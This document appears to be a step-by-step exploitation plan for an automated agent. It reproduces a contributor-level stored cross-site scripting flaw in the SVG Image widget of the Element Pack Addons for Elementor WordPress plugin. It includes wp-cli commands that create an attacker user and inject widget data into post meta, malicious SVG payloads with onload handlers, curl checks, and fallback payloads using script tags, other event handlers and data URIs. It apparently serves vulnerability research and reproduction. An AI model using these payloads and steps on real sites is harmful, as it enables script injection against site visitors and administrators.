Element Pack Addons for Elementor <= 8.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via SVG Image Widget

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Addons for Elementor plugin.

1. Vulnerability Summary

The Element Pack Addons for Elementor plugin (up to version 8.4.2) contains a Stored XSS vulnerability in its "SVG Image Widget". The widget allows users to provide a remote URL to an SVG file. The plugin fetches the SVG content via wp_safe_remote_get() and renders it directly onto the page. While it attempts to use preg_replace() to inject attributes into the <svg> tag, it fails to sanitize the SVG content for malicious event handlers (like onload or onclick) or <script> tags embedded within the XML structure of the SVG.

2. Attack Vector Analysis

• Endpoint: WordPress Frontend (via Elementor-rendered page).
• Vulnerable Widget: SVG Image Widget (Widget ID: bdt-svg-image - inferred from plugin naming conventions).
• Vulnerable Function: render_svg() (located in the widget class).
• Payload Parameter: The svg_url (or similarly named) setting within the Elementor widget configuration.
• Authentication Level: Contributor or higher. Contributors can create and edit posts/pages using Elementor.
• Precondition: The attacker must be able to host a malicious SVG file or use a data URI (if permitted by wp_safe_remote_get(), though an external URL is the primary vector).

3. Code Flow

1. Entry Point: A user with Contributor+ permissions edits a post using Elementor and adds the "SVG Image" widget.
2. Configuration: The user provides a URL to a malicious SVG in the widget settings (saved to _elementor_data post meta).
3. Frontend Rendering: When a victim views the post:
   • Elementor triggers the render() method of the bdt-svg-image widget.
   • The render() method calls render_svg().
   • render_svg() retrieves the URL from settings and executes wp_safe_remote_get($url).
   • The raw body of the response (the SVG XML) is stored in a variable.
   • A preg_replace() is applied to the <svg tag to add classes or IDs, but no sanitization (like wp_kses() or a dedicated SVG sanitizer) is performed on the rest of the XML.
   • Sink: The unsanitized SVG content is echo-ed directly into the HTML response.

4. Nonce Acquisition Strategy

While Elementor uses nonces for saving content (elementor_ajax action), this is a Stored XSS vulnerability. The most efficient PoC methodology in an automated environment is to bypass the complex Elementor UI/API and inject the malicious payload directly into the database using wp-cli, then verify the output via a simple GET request.

If the agent must perform the exploitation via the HTTP API:

1. Navigate to the Elementor Editor for a specific post.
2. The elementor_ajax nonce is usually localized in the elementorCommonConfig object.
3. JS Variable: window.elementorCommonConfig?.ajax?.nonce or window.elementor?.config?.ajax?.nonce.

5. Exploitation Strategy

1. Host Malicious SVG: Create a file named xss.svg with the following content:

   <svg xmlns="http://www.w3.org/2000/svg" onload="alert('CVE-2026-4655_XSS')"></svg>
   

2. Setup Target Post: Create a post and set the _elementor_data meta to include the vulnerable widget pointing to the hosted SVG.
3. Trigger: Access the post URL as an unauthenticated visitor or admin.

6. Test Data Setup

The PoC agent should execute the following commands:

# 1. Create a Contributor user
wp user create attacker attacker@example.com --role=contributor --user_pass=password123

# 2. Create a post to hold the XSS
POST_ID=$(wp post create --post_type=page --post_title="SVG XSS Test" --post_status=publish --user=attacker --porcelain)

# 3. Define the Elementor JSON structure for the SVG Image widget
# Note: "bdt-svg-image" is the likely widget ID for Element Pack's SVG Image.
# The URL should point to a location reachable by the WordPress server.
# Using a local path if the plugin allows it, or a mock URL.
MALICIOUS_SVG_URL="http://localhost/xss.svg"

ELEMENTOR_DATA='[{"id":"exploit-id","elType":"widget","settings":{"svg_url":"'$MALICIOUS_SVG_URL'"},"widgetType":"bdt-svg-image"}]'

# 4. Inject the payload into post meta
wp post meta update $POST_ID _elementor_data "$ELEMENTOR_DATA"
wp post meta update $POST_ID _elementor_edit_mode "builder"

# 5. Create the malicious SVG file in the web root
echo '<svg xmlns="http://www.w3.org/2000/svg" onload="console.log(\"XSS_TRIGGERED\"),alert(document.domain)"></svg>' > /var/www/html/xss.svg

7. Expected Results

1. When the http_request tool fetches the URL of the created post (/?p=$POST_ID), the response body should contain:

   <svg xmlns="http://www.w3.org/2000/svg" onload="console.log("XSS_TRIGGERED"),alert(document.domain)"></svg>
   

2. The onload attribute will remain intact despite the preg_replace logic in render_svg().
3. In a browser context, the alert box would trigger, and the console would log XSS_TRIGGERED.

8. Verification Steps

After the HTTP request, verify the sink via CLI:

# Check if the output is being rendered in the post content
curl -s "http://localhost/?p=$POST_ID" | grep "XSS_TRIGGERED"

9. Alternative Approaches

• Remote Fetching: If wp_safe_remote_get() blocks localhost, use a service like bin.org or a dedicated mock server provided by the environment.
• Attribute Breakout: If the plugin somehow strips onload, try <svg><script>alert(1)</script></svg> or using onmouseover / onfocus event handlers.
• Data URI: Test if the svg_url setting accepts data:image/svg+xml;base64,.... This would remove the need for external hosting.
• Parameter Identification: If svg_url is incorrect, search the plugin folder for the render_svg function to find the exact setting name:
  grep -r "render_svg" wp-content/plugins/bdthemes-element-pack-lite/
  Then find the $this->get_settings('SETTING_NAME') call within that file.